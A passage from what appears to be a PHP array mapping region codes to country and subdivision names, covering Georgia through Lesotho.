Raioni', 'GE-16' => 'Georgia: Ch\'okhatauris Raioni', 'GE-17' => 'Georgia: Dedop\'listsqaros Raioni', 'GE-18' => 'Georgia: Dmanisis Raioni', 'GE-19' => 'Georgia: Dushet\'is Raioni', 'GE-20' => 'Georgia: Gardabanis Raioni', 'GE-21' => 'Georgia: Gori', 'GE-22' => 'Georgia: Goris Raioni', 'GE-23' => 'Georgia: Gurjaanis Raioni', 'GE-24' => 'Georgia: Javis Raioni', 'GE-25' => 'Georgia: K\'arelis Raioni', 'GE-26' => 'Georgia: Kaspis Raioni', 'GE-27' => 'Georgia: Kharagaulis Raioni', 'GE-28' => 'Georgia: Khashuris Raioni', 'GE-29' => 'Georgia: Khobis Raioni', 'GE-30' => 'Georgia: Khonis Raioni', 'GE-31' => 'Georgia: K\'ut\'aisi', 'GE-32' => 'Georgia: Lagodekhis Raioni', 'GE-33' => 'Georgia: Lanch\'khut\'is Raioni', 'GE-34' => 'Georgia: Lentekhis Raioni', 'GE-35' => 'Georgia: Marneulis Raioni', 'GE-36' => 'Georgia: Martvilis Raioni', 'GE-37' => 'Georgia: Mestiis Raioni', 'GE-38' => 'Georgia: Mts\'khet\'is Raioni', 'GE-39' => 'Georgia: Ninotsmindis Raioni', 'GE-40' => 'Georgia: Onis Raioni', 'GE-41' => 'Georgia: Ozurget\'is Raioni', 'GE-42' => 'Georgia: P\'ot\'i', 'GE-43' => 'Georgia: Qazbegis Raioni', 'GE-44' => 'Georgia: Qvarlis Raioni', 'GE-45' => 'Georgia: Rust\'avi', 'GE-46' => 'Georgia: Sach\'kheris Raioni', 'GE-47' => 'Georgia: Sagarejos Raioni', 'GE-48' => 'Georgia: Samtrediis Raioni', 'GE-49' => 'Georgia: Senakis Raioni', 'GE-50' => 'Georgia: Sighnaghis Raioni', 'GE-51' => 'Georgia: T\'bilisi', 'GE-52' => 'Georgia: T\'elavis Raioni', 'GE-53' => 'Georgia: T\'erjolis Raioni', 'GE-54' => 'Georgia: T\'et\'ritsqaros Raioni', 'GE-55' => 'Georgia: T\'ianet\'is Raioni', 'GE-56' => 'Georgia: Tqibuli', 'GE-57' => 'Georgia: Ts\'ageris Raioni', 'GE-58' => 'Georgia: Tsalenjikhis Raioni', 'GE-59' => 'Georgia: Tsalkis Raioni', 'GE-60' => 'Georgia: Tsqaltubo', 'GE-61' => 'Georgia: Vanis Raioni', 'GE-62' => 'Georgia: Zestap\'onis Raioni', 'GE-63' => 'Georgia: Zugdidi', 'GE-64' => 'Georgia: Zugdidis Raioni', '--DE' => '','-DE' => 'Germany', 'DE-01' => 'Germany: Baden-Württemberg', 'DE-02' => 'Germany: Bayern', 'DE-16' => 'Germany: Berlin', 'DE-11' => 'Germany: Brandenburg', 'DE-03' => 'Germany: Bremen', 'DE-04' => 'Germany: Hamburg', 'DE-05' => 'Germany: Hessen', 'DE-12' => 'Germany: Mecklenburg-Vorpommern', 'DE-06' => 'Germany: Niedersachsen', 'DE-07' => 'Germany: Nordrhein-Westfalen', 'DE-08' => 'Germany: Rheinland-Pfalz', 'DE-09' => 'Germany: Saarland', 'DE-13' => 'Germany: Sachsen', 'DE-14' => 'Germany: Sachsen-Anhalt', 'DE-10' => 'Germany: Schleswig-Holstein', 'DE-15' => 'Germany: Thuringen', '--GH' => '','-GH' => 'Ghana', 'GH-02' => 'Ghana: Ashanti', 'GH-03' => 'Ghana: Brong-Ahafo', 'GH-04' => 'Ghana: Central', 'GH-05' => 'Ghana: Eastern', 'GH-01' => 'Ghana: Greater Accra', 'GH-06' => 'Ghana: Northern', 'GH-10' => 'Ghana: Upper East', 'GH-11' => 'Ghana: Upper West', 'GH-08' => 'Ghana: Volta', 'GH-09' => 'Ghana: Western', '--GR' => '','-GR' => 'Greece', 'GR-31' => 'Greece: Aitolia kai Akarnania', 'GR-38' => 'Greece: Akhaia', 'GR-36' => 'Greece: Argolis', 'GR-41' => 'Greece: Arkadhia', 'GR-20' => 'Greece: Arta', 'GR-35' => 'Greece: Attiki', 'GR-47' => 'Greece: Dhodhekanisos', 'GR-04' => 'Greece: Drama', 'GR-30' => 'Greece: Evritania', 'GR-01' => 'Greece: Evros', 'GR-34' => 'Greece: Evvoia', 'GR-08' => 'Greece: Florina', 'GR-32' => 'Greece: Fokis', 'GR-29' => 'Greece: Fthiotis', 'GR-10' => 'Greece: Grevena', 'GR-39' => 'Greece: Ilia', 'GR-12' => 'Greece: Imathia', 'GR-17' => 'Greece: Ioannina', 'GR-45' => 'Greece: Iraklion', 'GR-23' => 'Greece: Kardhitsa', 'GR-09' => 'Greece: Kastoria', 'GR-14' => 'Greece: Kavala', 'GR-27' => 'Greece: Kefallinia', 'GR-25' => 'Greece: Kerkira', 'GR-15' => 'Greece: Khalkidhiki', 'GR-43' => 'Greece: Khania', 'GR-50' => 'Greece: Khios', 'GR-49' => 'Greece: Kikladhes', 'GR-06' => 'Greece: Kilkis', 'GR-37' => 'Greece: Korinthia', 'GR-11' => 'Greece: Kozani', 'GR-42' => 'Greece: Lakonia', 'GR-21' => 'Greece: Larisa', 'GR-46' => 'Greece: Lasithi', 'GR-51' => 'Greece: Lesvos', 'GR-26' => 'Greece: Levkas', 'GR-24' => 'Greece: Magnisia', 'GR-40' => 'Greece: Messinia', 'GR-07' => 'Greece: Pella', 'GR-16' => 'Greece: Pieria', 'GR-19' => 'Greece: Preveza', 'GR-44' => 'Greece: Rethimni', 'GR-02' => 'Greece: Rodhopi', 'GR-48' => 'Greece: Samos', 'GR-05' => 'Greece: Serrai', 'GR-18' => 'Greece: Thesprotia', 'GR-13' => 'Greece: Thessaloniki', 'GR-22' => 'Greece: Trikala', 'GR-33' => 'Greece: Voiotia', 'GR-03' => 'Greece: Xanthi', 'GR-28' => 'Greece: Zakinthos', '--GL' => '','-GL' => 'Greenland', 'GL-01' => 'Greenland: Nordgronland', 'GL-02' => 'Greenland: Ostgronland', 'GL-03' => 'Greenland: Vestgronland', '--GD' => '','-GD' => 'Grenada', 'GD-01' => 'Grenada: Saint Andrew', 'GD-02' => 'Grenada: Saint David', 'GD-03' => 'Grenada: Saint George', 'GD-04' => 'Grenada: Saint John', 'GD-05' => 'Grenada: Saint Mark', 'GD-06' => 'Grenada: Saint Patrick', '--GT' => '','-GT' => 'Guatemala', 'GT-01' => 'Guatemala: Alta Verapaz', 'GT-02' => 'Guatemala: Baja Verapaz', 'GT-03' => 'Guatemala: Chimaltenango', 'GT-04' => 'Guatemala: Chiquimula', 'GT-05' => 'Guatemala: El Progreso', 'GT-06' => 'Guatemala: Escuintla', 'GT-07' => 'Guatemala: Guatemala', 'GT-08' => 'Guatemala: Huehuetenango', 'GT-09' => 'Guatemala: Izabal', 'GT-10' => 'Guatemala: Jalapa', 'GT-11' => 'Guatemala: Jutiapa', 'GT-12' => 'Guatemala: Peten', 'GT-13' => 'Guatemala: Quetzaltenango', 'GT-14' => 'Guatemala: Quiche', 'GT-15' => 'Guatemala: Retalhuleu', 'GT-16' => 'Guatemala: Sacatepequez', 'GT-17' => 'Guatemala: San Marcos', 'GT-18' => 'Guatemala: Santa Rosa', 'GT-19' => 'Guatemala: Solola', 'GT-20' => 'Guatemala: Suchitepequez', 'GT-21' => 'Guatemala: Totonicapan', 'GT-22' => 'Guatemala: Zacapa', '--GN' => '','-GN' => 'Guinea', 'GN-01' => 'Guinea: Beyla', 'GN-02' => 'Guinea: Boffa', 'GN-03' => 'Guinea: Boke', 'GN-04' => 'Guinea: Conakry', 'GN-30' => 'Guinea: Coyah', 'GN-05' => 'Guinea: Dabola', 'GN-06' => 'Guinea: Dalaba', 'GN-07' => 'Guinea: Dinguiraye', 'GN-31' => 'Guinea: Dubreka', 'GN-09' => 'Guinea: Faranah', 'GN-10' => 'Guinea: Forecariah', 'GN-11' => 'Guinea: Fria', 'GN-12' => 'Guinea: Gaoual', 'GN-13' => 'Guinea: Gueckedou', 'GN-32' => 'Guinea: Kankan', 'GN-15' => 'Guinea: Kerouane', 'GN-16' => 'Guinea: Kindia', 'GN-17' => 'Guinea: Kissidougou', 'GN-33' => 'Guinea: Koubia', 'GN-18' => 'Guinea: Koundara', 'GN-19' => 'Guinea: Kouroussa', 'GN-34' => 'Guinea: Labe', 'GN-35' => 'Guinea: Lelouma', 'GN-36' => 'Guinea: Lola', 'GN-21' => 'Guinea: Macenta', 'GN-22' => 'Guinea: Mali', 'GN-23' => 'Guinea: Mamou', 'GN-37' => 'Guinea: Mandiana', 'GN-38' => 'Guinea: Nzerekore', 'GN-25' => 'Guinea: Pita', 'GN-39' => 'Guinea: Siguiri', 'GN-27' => 'Guinea: Telimele', 'GN-28' => 'Guinea: Tougue', 'GN-29' => 'Guinea: Yomou', '--GW' => '','-GW' => 'Guinea-Bissau', 'GW-01' => 'Guinea-Bissau: Bafata', 'GW-12' => 'Guinea-Bissau: Biombo', 'GW-11' => 'Guinea-Bissau: Bissau', 'GW-05' => 'Guinea-Bissau: Bolama', 'GW-06' => 'Guinea-Bissau: Cacheu', 'GW-10' => 'Guinea-Bissau: Gabu', 'GW-04' => 'Guinea-Bissau: Oio', 'GW-02' => 'Guinea-Bissau: Quinara', 'GW-07' => 'Guinea-Bissau: Tombali', '--GY' => '','-GY' => 'Guyana', 'GY-10' => 'Guyana: Barima-Waini', 'GY-11' => 'Guyana: Cuyuni-Mazaruni', 'GY-12' => 'Guyana: Demerara-Mahaica', 'GY-13' => 'Guyana: East Berbice-Corentyne', 'GY-14' => 'Guyana: Essequibo Islands-West Demerara', 'GY-15' => 'Guyana: Mahaica-Berbice', 'GY-16' => 'Guyana: Pomeroon-Supenaam', 'GY-17' => 'Guyana: Potaro-Siparuni', 'GY-18' => 'Guyana: Upper Demerara-Berbice', 'GY-19' => 'Guyana: Upper Takutu-Upper Essequibo', '--HT' => '','-HT' => 'Haiti', 'HT-06' => 'Haiti: Artibonite', 'HT-07' => 'Haiti: Centre', 'HT-08' => 'Haiti: Grand\' Anse', 'HT-09' => 'Haiti: Nord', 'HT-10' => 'Haiti: Nord-Est', 'HT-03' => 'Haiti: Nord-Ouest', 'HT-11' => 'Haiti: Ouest', 'HT-12' => 'Haiti: Sud', 'HT-13' => 'Haiti: Sud-Est', '--HN' => '','-HN' => 'Honduras', 'HN-01' => 'Honduras: Atlantida', 'HN-02' => 'Honduras: Choluteca', 'HN-03' => 'Honduras: Colon', 'HN-04' => 'Honduras: Comayagua', 'HN-05' => 'Honduras: Copan', 'HN-06' => 'Honduras: Cortes', 'HN-07' => 'Honduras: El Paraiso', 'HN-08' => 'Honduras: Francisco Morazan', 'HN-09' => 'Honduras: Gracias a Dios', 'HN-10' => 'Honduras: Intibuca', 'HN-11' => 'Honduras: Islas de la Bahia', 'HN-12' => 'Honduras: La Paz', 'HN-13' => 'Honduras: Lempira', 'HN-14' => 'Honduras: Ocotepeque', 'HN-15' => 'Honduras: Olancho', 'HN-16' => 'Honduras: Santa Barbara', 'HN-17' => 'Honduras: Valle', 'HN-18' => 'Honduras: Yoro', '--HU' => '','-HU' => 'Hungary', 'HU-01' => 'Hungary: Bacs-Kiskun', 'HU-02' => 'Hungary: Baranya', 'HU-03' => 'Hungary: Bekes', 'HU-26' => 'Hungary: Bekescsaba', 'HU-04' => 'Hungary: Borsod-Abauj-Zemplen', 'HU-05' => 'Hungary: Budapest', 'HU-06' => 'Hungary: Csongrad', 'HU-07' => 'Hungary: Debrecen', 'HU-27' => 'Hungary: Dunaujvaros', 'HU-28' => 'Hungary: Eger', 'HU-08' => 'Hungary: Fejer', 'HU-25' => 'Hungary: Gyor', 'HU-09' => 'Hungary: Gyor-Moson-Sopron', 'HU-10' => 'Hungary: Hajdu-Bihar', 'HU-11' => 'Hungary: Heves', 'HU-29' => 'Hungary: Hodmezovasarhely', 'HU-20' => 'Hungary: Jasz-Nagykun-Szolnok', 'HU-30' => 'Hungary: Kaposvar', 'HU-31' => 'Hungary: Kecskemet', 'HU-12' => 'Hungary: Komarom-Esztergom', 'HU-13' => 'Hungary: Miskolc', 'HU-32' => 'Hungary: Nagykanizsa', 'HU-14' => 'Hungary: Nograd', 'HU-33' => 'Hungary: Nyiregyhaza', 'HU-15' => 'Hungary: Pecs', 'HU-16' => 'Hungary: Pest', 'HU-17' => 'Hungary: Somogy', 'HU-34' => 'Hungary: Sopron', 'HU-18' => 'Hungary: Szabolcs-Szatmar-Bereg', 'HU-19' => 'Hungary: Szeged', 'HU-35' => 'Hungary: Szekesfehervar', 'HU-36' => 'Hungary: Szolnok', 'HU-37' => 'Hungary: Szombathely', 'HU-38' => 'Hungary: Tatabanya', 'HU-21' => 'Hungary: Tolna', 'HU-22' => 'Hungary: Vas', 'HU-23' => 'Hungary: Veszprem', 'HU-39' => 'Hungary: Veszprem', 'HU-24' => 'Hungary: Zala', 'HU-40' => 'Hungary: Zalaegerszeg', '--IS' => '','-IS' => 'Iceland', 'IS-01' => 'Iceland: Akranes', 'IS-02' => 'Iceland: Akureyri', 'IS-03' => 'Iceland: Arnessysla', 'IS-04' => 'Iceland: Austur-Bardastrandarsysla', 'IS-05' => 'Iceland: Austur-Hunavatnssysla', 'IS-06' => 'Iceland: Austur-Skaftafellssysla', 'IS-07' => 'Iceland: Borgarfjardarsysla', 'IS-08' => 'Iceland: Dalasysla', 'IS-09' => 'Iceland: Eyjafjardarsysla', 'IS-10' => 'Iceland: Gullbringusysla', 'IS-11' => 'Iceland: Hafnarfjordur', 'IS-12' => 'Iceland: Husavik', 'IS-13' => 'Iceland: Isafjordur', 'IS-14' => 'Iceland: Keflavik', 'IS-15' => 'Iceland: Kjosarsysla', 'IS-16' => 'Iceland: Kopavogur', 'IS-17' => 'Iceland: Myrasysla', 'IS-18' => 'Iceland: Neskaupstadur', 'IS-19' => 'Iceland: Nordur-Isafjardarsysla', 'IS-20' => 'Iceland: Nordur-Mulasysla', 'IS-21' => 'Iceland: Nordur-Tingeyjarsysla', 'IS-22' => 'Iceland: Olafsfjordur', 'IS-23' => 'Iceland: Rangarvallasysla', 'IS-24' => 'Iceland: Reykjavik', 'IS-25' => 'Iceland: Saudarkrokur', 'IS-26' => 'Iceland: Seydisfjordur', 'IS-27' => 'Iceland: Siglufjordur', 'IS-28' => 'Iceland: Skagafjardarsysla', 'IS-29' => 'Iceland: Snafellsnes- og Hnappadalssysla', 'IS-30' => 'Iceland: Strandasysla', 'IS-31' => 'Iceland: Sudur-Mulasysla', 'IS-32' => 'Iceland: Sudur-Tingeyjarsysla', 'IS-33' => 'Iceland: Vestmannaeyjar', 'IS-34' => 'Iceland: Vestur-Bardastrandarsysla', 'IS-35' => 'Iceland: Vestur-Hunavatnssysla', 'IS-36' => 'Iceland: Vestur-Isafjardarsysla', 'IS-37' => 'Iceland: Vestur-Skaftafellssysla', '--IN' => '','-IN' => 'India', 'IN-01' => 'India: Andaman and Nicobar Islands', 'IN-02' => 'India: Andhra Pradesh', 'IN-30' => 'India: Arunachal Pradesh', 'IN-03' => 'India: Assam', 'IN-34' => 'India: Bihar', 'IN-05' => 'India: Chandigarh', 'IN-37' => 'India: Chhattisgarh', 'IN-06' => 'India: Dadra and Nagar Haveli', 'IN-32' => 'India: Daman and Diu', 'IN-07' => 'India: Delhi', 'IN-33' => 'India: Goa', 'IN-09' => 'India: Gujarat', 'IN-10' => 'India: Haryana', 'IN-11' => 'India: Himachal Pradesh', 'IN-12' => 'India: Jammu and Kashmir', 'IN-38' => 'India: Jharkhand', 'IN-19' => 'India: Karnataka', 'IN-13' => 'India: Kerala', 'IN-14' => 'India: Lakshadweep', 'IN-35' => 'India: Madhya Pradesh', 'IN-16' => 'India: Maharashtra', 'IN-17' => 'India: Manipur', 'IN-18' => 'India: Meghalaya', 'IN-31' => 'India: Mizoram', 'IN-20' => 'India: Nagaland', 'IN-21' => 'India: Orissa', 'IN-22' => 'India: Pondicherry', 'IN-23' => 'India: Punjab', 'IN-24' => 'India: Rajasthan', 'IN-29' => 'India: Sikkim', 'IN-25' => 'India: Tamil Nadu', 'IN-26' => 'India: Tripura', 'IN-36' => 'India: Uttar Pradesh', 'IN-39' => 'India: Uttaranchal', 'IN-28' => 'India: West Bengal', '--ID' => '','-ID' => 'Indonesia', 'ID-01' => 'Indonesia: Aceh', 'ID-02' => 'Indonesia: Bali', 'ID-33' => 'Indonesia: Banten', 'ID-03' => 'Indonesia: Bengkulu', 'ID-34' => 'Indonesia: Gorontalo', 'ID-04' => 'Indonesia: Jakarta Raya', 'ID-05' => 'Indonesia: Jambi', 'ID-30' => 'Indonesia: Jawa Barat', 'ID-07' => 'Indonesia: Jawa Tengah', 'ID-08' => 'Indonesia: Jawa Timur', 'ID-11' => 'Indonesia: Kalimantan Barat', 'ID-12' => 'Indonesia: Kalimantan Selatan', 'ID-13' => 'Indonesia: Kalimantan Tengah', 'ID-14' => 'Indonesia: Kalimantan Timur', 'ID-35' => 'Indonesia: Kepulauan Bangka Belitung', 'ID-15' => 'Indonesia: Lampung', 'ID-29' => 'Indonesia: Maluku Utara', 'ID-28' => 'Indonesia: Maluku', 'ID-17' => 'Indonesia: Nusa Tenggara Barat', 'ID-18' => 'Indonesia: Nusa Tenggara Timur', 'ID-09' => 'Indonesia: Papua', 'ID-19' => 'Indonesia: Riau', 'ID-20' => 'Indonesia: Sulawesi Selatan', 'ID-21' => 'Indonesia: Sulawesi Tengah', 'ID-22' => 'Indonesia: Sulawesi Tenggara', 'ID-31' => 'Indonesia: Sulawesi Utara', 'ID-24' => 'Indonesia: Sumatera Barat', 'ID-25' => 'Indonesia: Sumatera Selatan', 'ID-32' => 'Indonesia: Sumatera Selatan', 'ID-26' => 'Indonesia: Sumatera Utara', 'ID-10' => 'Indonesia: Yogyakarta', '--IR' => '','-IR' => 'Iran', 'IR-32' => 'Iran: Ardabil', 'IR-01' => 'Iran: Azarbayjan-e Bakhtari', 'IR-02' => 'Iran: Azarbayjan-e Khavari', 'IR-13' => 'Iran: Bakhtaran', 'IR-22' => 'Iran: Bushehr', 'IR-03' => 'Iran: Chahar Mahall va Bakhtiari', 'IR-28' => 'Iran: Esfahan', 'IR-07' => 'Iran: Fars', 'IR-08' => 'Iran: Gilan', 'IR-37' => 'Iran: Golestan', 'IR-09' => 'Iran: Hamadan', 'IR-11' => 'Iran: Hormozgan', 'IR-10' => 'Iran: Ilam', 'IR-29' => 'Iran: Kerman', 'IR-30' => 'Iran: Khorasan', 'IR-15' => 'Iran: Khuzestan', 'IR-05' => 'Iran: Kohkiluyeh va Buyer Ahmadi', 'IR-16' => 'Iran: Kordestan', 'IR-23' => 'Iran: Lorestan', 'IR-34' => 'Iran: Markazi', 'IR-35' => 'Iran: Mazandaran', 'IR-38' => 'Iran: Qazvin', 'IR-39' => 'Iran: Qom', 'IR-25' => 'Iran: Semnan', 'IR-04' => 'Iran: Sistan va Baluchestan', 'IR-26' => 'Iran: Tehran', 'IR-31' => 'Iran: Yazd', 'IR-36' => 'Iran: Zanjan', '--IQ' => '','-IQ' => 'Iraq', 'IQ-01' => 'Iraq: Al Anbar', 'IQ-02' => 'Iraq: Al Basrah', 'IQ-03' => 'Iraq: Al Muthanna', 'IQ-04' => 'Iraq: Al Qadisiyah', 'IQ-17' => 'Iraq: An Najaf', 'IQ-11' => 'Iraq: Arbil', 'IQ-05' => 'Iraq: As Sulaymaniyah', 'IQ-13' => 'Iraq: At Ta\'mim', 'IQ-06' => 'Iraq: Babil', 'IQ-07' => 'Iraq: Baghdad', 'IQ-08' => 'Iraq: Dahuk', 'IQ-09' => 'Iraq: Dhi Qar', 'IQ-10' => 'Iraq: Diyala', 'IQ-12' => 'Iraq: Karbala\'', 'IQ-14' => 'Iraq: Maysan', 'IQ-15' => 'Iraq: Ninawa', 'IQ-18' => 'Iraq: Salah ad Din', 'IQ-16' => 'Iraq: Wasit', '--IE' => '','-IE' => 'Ireland', 'IE-01' => 'Ireland: Carlow', 'IE-02' => 'Ireland: Cavan', 'IE-03' => 'Ireland: Clare', 'IE-04' => 'Ireland: Cork', 'IE-06' => 'Ireland: Donegal', 'IE-07' => 'Ireland: Dublin', 'IE-10' => 'Ireland: Galway', 'IE-11' => 'Ireland: Kerry', 'IE-12' => 'Ireland: Kildare', 'IE-13' => 'Ireland: Kilkenny', 'IE-15' => 'Ireland: Laois', 'IE-14' => 'Ireland: Leitrim', 'IE-16' => 'Ireland: Limerick', 'IE-18' => 'Ireland: Longford', 'IE-19' => 'Ireland: Louth', 'IE-20' => 'Ireland: Mayo', 'IE-21' => 'Ireland: Meath', 'IE-22' => 'Ireland: Monaghan', 'IE-23' => 'Ireland: Offaly', 'IE-24' => 'Ireland: Roscommon', 'IE-25' => 'Ireland: Sligo', 'IE-26' => 'Ireland: Tipperary', 'IE-27' => 'Ireland: Waterford', 'IE-29' => 'Ireland: Westmeath', 'IE-30' => 'Ireland: Wexford', 'IE-31' => 'Ireland: Wicklow', '--IL' => '','-IL' => 'Israel', 'IL-01' => 'Israel: HaDarom', 'IL-02' => 'Israel: HaMerkaz', 'IL-03' => 'Israel: HaZafon', 'IL-04' => 'Israel: Hefa', 'IL-05' => 'Israel: Tel Aviv', 'IL-06' => 'Israel: Yerushalayim', '--IT' => '','-IT' => 'Italy', 'IT-01' => 'Italy: Abruzzi', 'IT-02' => 'Italy: Basilicata', 'IT-03' => 'Italy: Calabria', 'IT-04' => 'Italy: Campania', 'IT-05' => 'Italy: Emilia-Romagna', 'IT-06' => 'Italy: Friuli-Venezia Giulia', 'IT-07' => 'Italy: Lazio', 'IT-08' => 'Italy: Liguria', 'IT-09' => 'Italy: Lombardia', 'IT-10' => 'Italy: Marche', 'IT-11' => 'Italy: Molise', 'IT-12' => 'Italy: Piemonte', 'IT-13' => 'Italy: Puglia', 'IT-14' => 'Italy: Sardegna', 'IT-15' => 'Italy: Sicilia', 'IT-16' => 'Italy: Toscana', 'IT-17' => 'Italy: Trentino-Alto Adige', 'IT-18' => 'Italy: Umbria', 'IT-19' => 'Italy: Valle d\'Aosta', 'IT-20' => 'Italy: Veneto', '--JM' => '','-JM' => 'Jamaica', 'JM-01' => 'Jamaica: Clarendon', 'JM-02' => 'Jamaica: Hanover', 'JM-17' => 'Jamaica: Kingston', 'JM-04' => 'Jamaica: Manchester', 'JM-07' => 'Jamaica: Portland', 'JM-08' => 'Jamaica: Saint Andrew', 'JM-09' => 'Jamaica: Saint Ann', 'JM-10' => 'Jamaica: Saint Catherine', 'JM-11' => 'Jamaica: Saint Elizabeth', 'JM-12' => 'Jamaica: Saint James', 'JM-13' => 'Jamaica: Saint Mary', 'JM-14' => 'Jamaica: Saint Thomas', 'JM-15' => 'Jamaica: Trelawny', 'JM-16' => 'Jamaica: Westmoreland', '--JP' => '','-JP' => 'Japan', 'JP-01' => 'Japan: Aichi', 'JP-02' => 'Japan: Akita', 'JP-03' => 'Japan: Aomori', 'JP-04' => 'Japan: Chiba', 'JP-05' => 'Japan: Ehime', 'JP-06' => 'Japan: Fukui', 'JP-07' => 'Japan: Fukuoka', 'JP-08' => 'Japan: Fukushima', 'JP-09' => 'Japan: Gifu', 'JP-10' => 'Japan: Gumma', 'JP-11' => 'Japan: Hiroshima', 'JP-12' => 'Japan: Hokkaido', 'JP-13' => 'Japan: Hyogo', 'JP-14' => 'Japan: Ibaraki', 'JP-15' => 'Japan: Ishikawa', 'JP-16' => 'Japan: Iwate', 'JP-17' => 'Japan: Kagawa', 'JP-18' => 'Japan: Kagoshima', 'JP-19' => 'Japan: Kanagawa', 'JP-20' => 'Japan: Kochi', 'JP-21' => 'Japan: Kumamoto', 'JP-22' => 'Japan: Kyoto', 'JP-23' => 'Japan: Mie', 'JP-24' => 'Japan: Miyagi', 'JP-25' => 'Japan: Miyazaki', 'JP-26' => 'Japan: Nagano', 'JP-27' => 'Japan: Nagasaki', 'JP-28' => 'Japan: Nara', 'JP-29' => 'Japan: Niigata', 'JP-30' => 'Japan: Oita', 'JP-31' => 'Japan: Okayama', 'JP-47' => 'Japan: Okinawa', 'JP-32' => 'Japan: Osaka', 'JP-33' => 'Japan: Saga', 'JP-34' => 'Japan: Saitama', 'JP-35' => 'Japan: Shiga', 'JP-36' => 'Japan: Shimane', 'JP-37' => 'Japan: Shizuoka', 'JP-38' => 'Japan: Tochigi', 'JP-39' => 'Japan: Tokushima', 'JP-40' => 'Japan: Tokyo', 'JP-41' => 'Japan: Tottori', 'JP-42' => 'Japan: Toyama', 'JP-43' => 'Japan: Wakayama', 'JP-44' => 'Japan: Yamagata', 'JP-45' => 'Japan: Yamaguchi', 'JP-46' => 'Japan: Yamanashi', '--JO' => '','-JO' => 'Jordan', 'JO-02' => 'Jordan: Al Balqa\'', 'JO-09' => 'Jordan: Al Karak', 'JO-10' => 'Jordan: Al Mafraq', 'JO-16' => 'Jordan: Amman', 'JO-12' => 'Jordan: At Tafilah', 'JO-13' => 'Jordan: Az Zarqa', 'JO-14' => 'Jordan: Irbid', 'JO-07' => 'Jordan: Ma', '--KZ' => '','-KZ' => 'Kazakhstan', 'KZ-02' => 'Kazakhstan: Almaty City', 'KZ-01' => 'Kazakhstan: Almaty', 'KZ-03' => 'Kazakhstan: Aqmola', 'KZ-04' => 'Kazakhstan: Aqt?be', 'KZ-05' => 'Kazakhstan: Astana', 'KZ-06' => 'Kazakhstan: Atyrau', 'KZ-08' => 'Kazakhstan: Bayqonyr', 'KZ-15' => 'Kazakhstan: East Kazakhstan', 'KZ-09' => 'Kazakhstan: Mangghystau', 'KZ-16' => 'Kazakhstan: North Kazakhstan', 'KZ-11' => 'Kazakhstan: Pavlodar', 'KZ-12' => 'Kazakhstan: Qaraghandy', 'KZ-13' => 'Kazakhstan: Qostanay', 'KZ-14' => 'Kazakhstan: Qyzylorda', 'KZ-10' => 'Kazakhstan: South Kazakhstan', 'KZ-07' => 'Kazakhstan: West Kazakhstan', 'KZ-17' => 'Kazakhstan: Zhambyl', '--KE' => '','-KE' => 'Kenya', 'KE-01' => 'Kenya: Central', 'KE-02' => 'Kenya: Coast', 'KE-03' => 'Kenya: Eastern', 'KE-05' => 'Kenya: Nairobi Area', 'KE-06' => 'Kenya: North-Eastern', 'KE-07' => 'Kenya: Nyanza', 'KE-08' => 'Kenya: Rift Valley', 'KE-09' => 'Kenya: Western', '--KI' => '','-KI' => 'Kiribati', 'KI-01' => 'Kiribati: Gilbert Islands', 'KI-02' => 'Kiribati: Line Islands', 'KI-03' => 'Kiribati: Phoenix Islands', '--KW' => '','-KW' => 'Kuwait', 'KW-01' => 'Kuwait: Al Ahmadi', 'KW-05' => 'Kuwait: Al Jahra', 'KW-02' => 'Kuwait: Al Kuwayt', 'KW-03' => 'Kuwait: Hawalli', '--KG' => '','-KG' => 'Kyrgyzstan', 'KG-09' => 'Kyrgyzstan: Batken', 'KG-01' => 'Kyrgyzstan: Bishkek', 'KG-02' => 'Kyrgyzstan: Chuy', 'KG-03' => 'Kyrgyzstan: Jalal-Abad', 'KG-04' => 'Kyrgyzstan: Naryn', 'KG-08' => 'Kyrgyzstan: Osh', 'KG-06' => 'Kyrgyzstan: Talas', 'KG-07' => 'Kyrgyzstan: Ysyk-Kol', '--LA' => '','-LA' => 'Lao', 'LA-01' => 'Lao: Attapu', 'LA-02' => 'Lao: Champasak', 'LA-03' => 'Lao: Houaphan', 'LA-04' => 'Lao: Khammouan', 'LA-05' => 'Lao: Louang Namtha', 'LA-17' => 'Lao: Louangphrabang', 'LA-07' => 'Lao: Oudomxai', 'LA-08' => 'Lao: Phongsali', 'LA-09' => 'Lao: Saravan', 'LA-10' => 'Lao: Savannakhet', 'LA-11' => 'Lao: Vientiane', 'LA-13' => 'Lao: Xaignabouri', 'LA-14' => 'Lao: Xiangkhoang', '--LV' => '','-LV' => 'Latvia', 'LV-01' => 'Latvia: Aizkraukles', 'LV-02' => 'Latvia: Aluksnes', 'LV-03' => 'Latvia: Balvu', 'LV-04' => 'Latvia: Bauskas', 'LV-05' => 'Latvia: Césu', 'LV-06' => 'Latvia: Daugavpils', 'LV-07' => 'Latvia: Daugavpils', 'LV-08' => 'Latvia: Dobeles', 'LV-09' => 'Latvia: Gulbenes', 'LV-10' => 'Latvia: Jékabpils', 'LV-11' => 'Latvia: Jelgava', 'LV-12' => 'Latvia: Jelgavas', 'LV-13' => 'Latvia: Jurmala', 'LV-14' => 'Latvia: Kráslavas', 'LV-15' => 'Latvia: Kuldigas', 'LV-16' => 'Latvia: Liepája', 'LV-17' => 'Latvia: Liepájas', 'LV-18' => 'Latvia: Limbazu', 'LV-19' => 'Latvia: Ludzas', 'LV-20' => 'Latvia: Madonas', 'LV-21' => 'Latvia: Ogres', 'LV-22' => 'Latvia: Preilu', 'LV-23' => 'Latvia: Rézekne', 'LV-24' => 'Latvia: Rézeknes', 'LV-25' => 'Latvia: Riga', 'LV-26' => 'Latvia: Rigas', 'LV-27' => 'Latvia: Saldus', 'LV-28' => 'Latvia: Talsu', 'LV-29' => 'Latvia: Tukuma', 'LV-30' => 'Latvia: Valkas', 'LV-31' => 'Latvia: Valmieras', 'LV-32' => 'Latvia: Ventspils', 'LV-33' => 'Latvia: Ventspils', '--LB' => '','-LB' => 'Lebanon', 'LB-01' => 'Lebanon: Beqaa', 'LB-04' => 'Lebanon: Beyrouth', 'LB-03' => 'Lebanon: Liban-Nord', 'LB-06' => 'Lebanon: Liban-Sud', 'LB-05' => 'Lebanon: Mont-Liban', 'LB-07' => 'Lebanon: Nabatiye', '--LS' => '','-LS' => 'Lesotho', 'LS-10' => 'Lesotho: Berea', 'LS-11' => 'Lesotho: Butha-Buthe', 'LS-12' => 'Lesotho: Leribe', 'LS-13' => 'Lesotho: Mafeteng', 'LS-14' => 'Lesotho: Maseru', 'LS-15' => 'Lesotho: Mohales Hoek', 'LS-16' => 'Lesotho: Mokhotlong', 'LS-17' => 'Lesotho: Qachas Nek', 